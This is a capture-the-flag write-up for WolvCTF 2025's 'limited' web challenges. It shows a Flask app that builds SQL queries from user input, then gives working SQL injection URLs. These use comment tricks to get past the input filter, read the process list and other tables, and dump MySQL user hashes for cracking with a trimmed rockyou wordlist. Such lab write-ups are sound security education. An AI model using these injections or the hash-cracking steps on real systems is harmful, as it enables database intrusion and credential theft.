WolvCTF 2025

The limited series consisted of 3 web challenges using the same source, with 3 flags to find.

We had access to the source code, which allowed us to easily identify an sql injection in the /query route.

from flask import Flask, request, jsonify, render_template
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
from flask_mysqldb import MySQL

import os
import re
import socket

FLAG1 = 'wctf{redacted-flag}'

PORT = 8000

app = Flask(__name__)
limiter = Limiter(
    app=app,
    key_func=get_remote_address,
    default_limits=["5 per second"],
    storage_uri="memory://",
)


def get_db_hostname():
    db_hostname = 'db'
    try:
        socket.getaddrinfo(db_hostname, 3306)
        return db_hostname
    except:
        return '127.0.0.1'


app.config['MYSQL_HOST'] = get_db_hostname()
app.config['MYSQL_USER'] = os.environ["MYSQL_USER"]
app.config['MYSQL_PASSWORD'] = os.environ["MYSQL_PASSWORD"]
app.config['MYSQL_DB'] = os.environ["MYSQL_DB"]

print('app.config:', app.config)

mysql = MySQL(app)

@app.route('/')
def root():
    return render_template("index.html")


@app.route('/query')
def query():
    try:
        price = float(request.args.get('price') or '0.00')
    except:
        price = 0.0

    price_op = str(request.args.get('price_op') or '>')
    if not re.match(r' ?(=|<|<=|<>|>=|>) ?', price_op):
        return 'price_op must be one of =, <, <=, <>, >=, or > (with an optional space on either side)', 400

    if len(price_op) > 4:
        return 'price_op too long', 400

    limit = str(request.args.get('limit') or '1')

    query = f"""SELECT /*{FLAG1}*/category, name, price, description FROM Menu WHERE price {price_op} {price} ORDER BY 1 LIMIT {limit}"""
    print('query:', query)

    if ';' in query:
        return 'Sorry, multiple statements are not allowed', 400

    try:
        cur = mysql.connection.cursor()
        cur.execute(query)
        records = cur.fetchall()
        column_names = [desc[0] for desc in cur.description]
        cur.close()
    except Exception as e:
        return str(e), 400

    result = [dict(zip(column_names, row)) for row in records]
    return jsonify(result)

@app.route("/<path:path>")
def missing_handler(path):
    return 'page not found!', 404

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=PORT, threaded=True, debug=False)

We have an sql query that takes three user inputs:

query = f"""SELECT /*{FLAG1}*/category, name, price, description FROM Menu WHERE price {price_op} {price} ORDER BY 1 LIMIT {limit}"""

The only complication being the restrictions on the price_op and price inputs.

We couldn’t even injection a union select after the limit as you cannot union after an order by in sql.

This comment, left by the creator, sent me down a rabbit hole for a few hours, but turned out to be a dead end.

    # I'm pretty sure the LIMIT clause cannot be used for an injection
    # with MySQL 9.x
    #
    # This attack works in v5.5 but not later versions
    # https://lightless.me/archives/111.html

After seeing this comment /* {FLAG1} */ that was left in the query, I realised i could just comment out all of this {price} ORDER BY 1 LIMIT, and then inject my union select at the end, like so:

/query?price=5.00&price_op=<5/*&limit=*/ union select 1,2,3,4 -- -

With our sql query looking like this:

SELECT /*wctf{redacted-flag}*/category, name, price, description FROM Menu WHERE price <5/* 5.0 ORDER BY 1 LIMIT */ union select 1,2,3,4 -- -

The easy part came next.

Limited 1: Retrieve the comment in the query.

In mysql, INFORMATION_SCHEMA.PROCESSLIST is a special table available in MySQL and MariaDB that provides information about active processes and threads within the database server. (thanks payloadallthethings)

That gives us an injection like so

/query?price=5.00&price_op=<5/*&limit=*/ UNION SELECT null,null,info,null FROM INFORMATION_SCHEMA.PROCESSLIST -- -

Flag: wctf{bu7_my5ql_h45_n0_curr3n7_qu3ry_func710n_l1k3_p0576r35_d035_25785458}

Limited 2: Can you read the flag in another table?

/query?price=5.00&price_op=<5/*&limit=*/ union select 1,2,3,concat(0x28,value,0x3a) FROM Flag_843423739 -- -

Flag: wctf{r34d1n6_07h3r_74bl35_15_fun_96427235634}

Limited 3: Find the password for the flag user

In mysql, we can simply dump the hash of a user, and then crack it with hashcat and a good wordlist.

In this case, the creator told us that the password was 13 characters long, and in the rockyou list.

Let’s create a new, shortened rockyou list:

LC_ALL=C awk 'length == 13' rockyou.txt > rockyoushort.txt

Then, following this guide, we can dump the hash and crack it.

Which give us maricrissarah, so the flag is wctf{maricrissarah}